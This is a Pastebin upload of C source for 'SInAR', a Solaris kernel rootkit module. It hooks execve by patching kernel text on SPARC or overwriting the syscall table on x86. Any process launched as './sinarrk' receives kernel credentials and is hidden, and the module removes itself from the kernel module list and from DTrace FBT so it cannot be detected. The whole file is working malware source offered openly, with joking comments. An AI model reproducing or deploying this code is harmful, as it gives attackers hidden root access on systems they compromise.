FlyFar

sinar.c

May 17th, 2024
61
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 8.27 KB | Cybersecurity | 0 0
  1. /*
  2.  * Copyright (c) 2004 by Archim
  3.  * All rights reserved.
  4.  *
  5.  * For License information please see LICENSE (that was unexpected wasn't it!).
  6.  *
  7.  * The header data used is (c) SUN Microsystems,
  8.  * opcodes.h being the exception I'm the only one boring enough to write that.
  9.  *
  10.  * Wow, a configuration statement, thanks SUN!!
  11.  * bash-3.00$ gcc -v
  12.  * Reading specs from /usr/sfw/lib/gcc/i386-pc-solaris2.10/3.4.3/specs
  13.  * Configured with: /builds/sfw10-gate/usr/src/cmd/gcc/gcc-3.4.3/configure --prefix=/usr/sfw \
  14.  * --with-as=/usr/sfw/bin/gas --with-gnu-as --with-ld=/usr/ccs/bin/ld --without-gnu-ld \
  15.  * --enable-languages=c,c++ --enable-shared
  16.  * Thread model: posix
  17.  * gcc version 3.4.3 (csl-sol210-3_4-branch+sol_rpath)
  18.  */
  19.  
  20. #include <sys/ddi.h>
  21. #include <sys/sunddi.h>
  22. #include <sys/modctl.h>
  23. #ifdef __i386
  24. #define _SYSCALL32_IMPL // because we are boring
  25. #endif
  26. #include <sys/systm.h>
  27. #include <sys/syscall.h>
  28. #include <sys/exec.h>
  29. #include <sys/pathname.h>
  30. #include <sys/uio.h>
  31. #include <sys/thread.h>
  32. #include <sys/user.h>
  33. #include <sys/proc.h>
  34. #include <sys/thread.h>
  35. #include <sys/cred.h>
  36. #include <sys/mdb_modapi.h>
  37. #include <sys/kobj.h>
  38. #include <sys/cmn_err.h>
  39. #include <sys/mman.h>
  40.  
  41.  
  42. // the following we need for our gubbins later on.
  43. /*<SUN Copyright>*/
  44. typedef struct dtrace_provider dtrace_provider_t;
  45. typedef uintptr_t       dtrace_provider_id_t;
  46.  
  47. typedef uintptr_t dtrace_icookie_t;
  48. extern dtrace_icookie_t dtrace_interrupt_disable(void);
  49. extern void dtrace_interrupt_enable(dtrace_icookie_t);
  50. /*</SUN Copyright>*/
  51.  
  52. #ifndef __i386 // woohoo!
  53. #include "opcodes.h"
  54. #define DREG 18;
  55. #endif
  56.  
  57. extern struct mod_ops mod_miscops;
  58.  
  59.  
  60. static struct modlmisc modlmisc = {
  61.         &mod_miscops,
  62.         "SInAR - rootkit.com",
  63. };
  64.  
  65. static struct modlinkage modlinkage = {
  66.         MODREV_1,  
  67.         (void *)&modlmisc,
  68.         NULL
  69. };
  70.  
  71.  
  72. //stubs
  73. int64_t sinar_execve(char *fname, const char **argp, const char **envp);
  74.  
  75. #ifndef __i386// if SPARC
  76.  
  77. int  sin_patch(caddr_t kern_call,caddr_t sin_call)
  78. /*
  79. The moral of the sin_patch story is that you should always print off and highlight header files.
  80. forget using vi, destroy a habitat and read the headers over your beverage of choice.
  81.  
  82. If you do this you may find that, having written a piece of code you weren't going to release,
  83. the vendor has already done it for you. Thus easing the decision making process for code release.
  84.  
  85. Thanks SUN!
  86. */
  87. {
  88.   caddr_t target;
  89.   uint32_t * opcode;
  90.   unsigned int ddi_crit_lock;
  91.   unsigned long jdest = sin_call;
  92.   unsigned int tmp_imm2 = 0;
  93.     target = kern_call;
  94.  
  95. /*
  96. opcode formation courtesy of the SPARV V9 architecture manual. BUY IT!!
  97. (or download it you tight fisted git).
  98. */
  99.     sethop.op = 0;
  100.     sethop.regd = DREG;
  101.     sethop.op2 = 4;
  102.     sethop.imm = (jdest>>10);
  103.     orop.op = 2;
  104.     orop.regd = DREG;
  105.     orop.op3 = 2;
  106.     orop.rs1 = DREG;
  107.     orop.i_fl = 1;
  108.     tmp_imm2 = jdest & 0x3ff;// see "or" in sparc v9 architecture manual.
  109.     orop.imm = tmp_imm2;
  110.     jop.start = 2;
  111.     jop.regdest = 0; // jmp %reg == jmpl addr,%g0
  112.     jop.op3 = 32 + 16 + 8; // signature for jmpl
  113.     jop.rs1 = DREG; // I wonder what this is!
  114.     jop.i_fl = 1; // to use simm13
  115.     jop.simm13 = 0; // offset of 0;
  116.     nop.nopc = 0x01000000; // this structure is useless, but it's parents love it I suppose.
  117.     ddi_crit_lock = ddi_enter_critical(); // *ahem* otherwise you could laugh alot.
  118.     opcode = (uint32_t *)&sethop;
  119.     hot_patch_kernel_text(target,*opcode,4); // you have to love undocumented functions. Especially this one.
  120. // yes I know it's sloppy but hell, I never said I could code.
  121. //target+=4;
  122.     target = target + 4;
  123.     opcode = (uint32_t *)&orop;
  124.     hot_patch_kernel_text(target,*opcode,4);
  125.     target = target + 4;
  126.     opcode = (uint32_t *)&jop;
  127.     hot_patch_kernel_text(target,*opcode,4);
  128.     target = target + 4;  
  129.     opcode = (uint32_t *)&nop;
  130.     hot_patch_kernel_text(target,*opcode,4);
  131.     ddi_exit_critical(ddi_crit_lock);// because not doing so would be funnier.
  132.  return 0;
  133. }
  134. #endif // SPARC
  135.  
  136.  
  137. /*
  138. Change the key as appropriate.
  139. */
  140.  
  141. #define RK_EXEC_KEY "./sinarrk"
  142. #define RK_EXEC_KEY_LEN 9
  143.  
  144. int64_t sinar_execve(char *fname, const char **argp, const char **envp)
  145. {
  146.  
  147.   int is_gone = 0;
  148.   int error;
  149.  
  150. pathname_t sinar_pn;
  151.  
  152.  
  153. pn_get((char *)fname, UIO_USERSPACE, &sinar_pn);
  154.  
  155. if(strncmp(RK_EXEC_KEY,sinar_pn.pn_path,RK_EXEC_KEY_LEN) == 0)
  156.   {
  157.     is_gone = 1;
  158. // give ourselves kernel creds. "yeah man he got kcred" *ahem*
  159.     curproc->p_cred = crdup(kcred);
  160.  
  161.   }
  162.         error = exec_common(fname, argp, envp);  
  163.  
  164. if(is_gone)
  165.           {
  166. /*
  167. this hides our process (well, sets us as not worthy of attention..)
  168. Do you think this will make the parent listen to it's child in future?
  169. */
  170.     curproc->p_pidp->pid_prinactive = 1;
  171.     is_gone = 0;
  172.           }
  173.  
  174. if(curproc->p_parent)
  175. {
  176.     if(curproc->p_parent->p_pidp->pid_prinactive)
  177.     {
  178.         curproc->p_pidp->pid_prinactive = 1;
  179.     }
  180.  
  181. }
  182.  
  183. /*
  184. // "Danger WIll Robinson, Danger Will Robinson"
  185. if(curproc->p_prev)
  186.      curproc->p_prev->p_next = curproc->p_next;
  187.  
  188. if(curproc->p_next)
  189.      curproc->p_next->p_prev = curproc->p_prev;
  190. // go on, uncomment this block. You understand these things. What could go wrong?
  191. */
  192.  
  193. if(error)
  194. {
  195.     return set_errno(error);
  196. }
  197.     else
  198. {
  199.     return 0;
  200. }
  201.  
  202. }
  203.  
  204.  
  205.  
  206. int _init(void)
  207. {
  208.  
  209. extern void dtrace_sync(void);
  210. struct modctl *modptr,*modme;
  211. modptr = &modules; // head of the family always get's pointed at, it's a real burden I imagine.
  212. dtrace_icookie_t modcookie;
  213. int * lmid_ptr;
  214. char is10 = 0;
  215. dtrace_provider_id_t * fbtptr = 0;
  216. int (*dt_cond)(dtrace_provider_id_t) = 0; // we'll be wanting this later to remove the DTrace bits.
  217. int i = 0;
  218.  
  219.         if ((i = mod_install(&modlinkage)) != 0)
  220.       {
  221.               cmn_err(CE_NOTE,"Could not install SInAR.\n");
  222.       }        
  223.     else
  224.       {
  225.         cmn_err(CE_NOTE,"SInAR installed.");
  226.       }
  227.  
  228.     // now we blank out modlinkage because otherwise it's a wh0re and can be used against us!
  229.         bzero(&modlinkage,sizeof(struct modlinkage));
  230.     //same goes for modlmisc
  231.     bzero(&modlmisc,sizeof(struct modlmisc));
  232.  
  233.     lmid_ptr = kobj_getsymvalue("last_module_id",0); // duh!
  234.  
  235.     modme = modptr->mod_prev;
  236.  
  237. // now you see me.
  238.  
  239.     modptr->mod_prev->mod_prev->mod_next = modptr;
  240.     modptr->mod_prev = modptr->mod_prev->mod_prev;
  241.  
  242.     *lmid_ptr = *lmid_ptr - 1;
  243.  
  244.         dt_cond = kobj_getsymvalue("dtrace_condense",0);
  245.         if(dt_cond) // if we are solaris 10, or a freaky solaris 9 with DTrace.
  246.           {
  247.                 fbtptr = modgetsymvalue("fbt_id", 0);
  248. // if we aren't a solaris 10 box, or don't have DTrace there is no point looking for fbt_id, it's not there.
  249.           if(!fbtptr)
  250.             {
  251.                  cmn_err(CE_NOTE,"Fbt provider not available,\
  252.                 check module fbt is loaded.[try dtrace -l to prompt loading if all else fails].");
  253.                 return -1;
  254.             }is10 = 1;}
  255. // remove "non active" modules from FBT (which holds module syms).
  256.         if(is10)
  257.                 modcookie = dtrace_interrupt_disable(); // well if it isn't Solaris 10 there is little point using it!
  258.  
  259.  
  260.     modme->mod_nenabled = 0; // we ofcourse don't want to be active .. we don't exist after all.
  261.     modme->mod_loaded = 0; // no we aren't loaded, definatly not... honest.
  262.     modme->mod_installed = 0; //  I'm an inactive, unloaded and uninstalled module guv'nor.
  263.     modme->mod_loadcnt = 0;
  264.     modme->mod_gencount = 0;
  265.  
  266.  
  267. #ifndef __i386
  268.     sin_patch((caddr_t)sysent[SYS_execve].sy_callc,(caddr_t)&sinar_execve);
  269. #else
  270.     sysent[SYS_execve].sy_callc = &sinar_execve;
  271. /*
  272. oh <deity of choice>,
  273.  how very depressing a syscall overwrite. I swear these went out of fashion years ago.
  274. */
  275. #endif
  276.     kobj_sync();
  277. // remove symbols from the kernel by re-reading `modules list for active modules, obviously (yes that is a '`')
  278.  
  279.     if(is10)
  280.     {
  281.         cmn_err(CE_NOTE,"SInAR Unregistering from DTrace FBT provider\n");
  282.         // what, another log message? really? wow!
  283.         dt_cond(*fbtptr);
  284.         dtrace_sync(); // just for our own good
  285.         //now you don't
  286.         dtrace_interrupt_enable(modcookie);
  287.      }
  288.  
  289.  return 0;
  290. }
  291.  
  292.  
  293. int _info(struct modinfo *modinfop)
  294. {
  295.         return (mod_info(&modlinkage, modinfop));
  296. }
  297.  
  298. int _fini(void)
  299. {
  300.         int i;
  301.            
  302. i = mod_remove(&modlinkage);     
  303.         return i;
  304. }
  305.  
Add Comment
Please, Sign In to add comment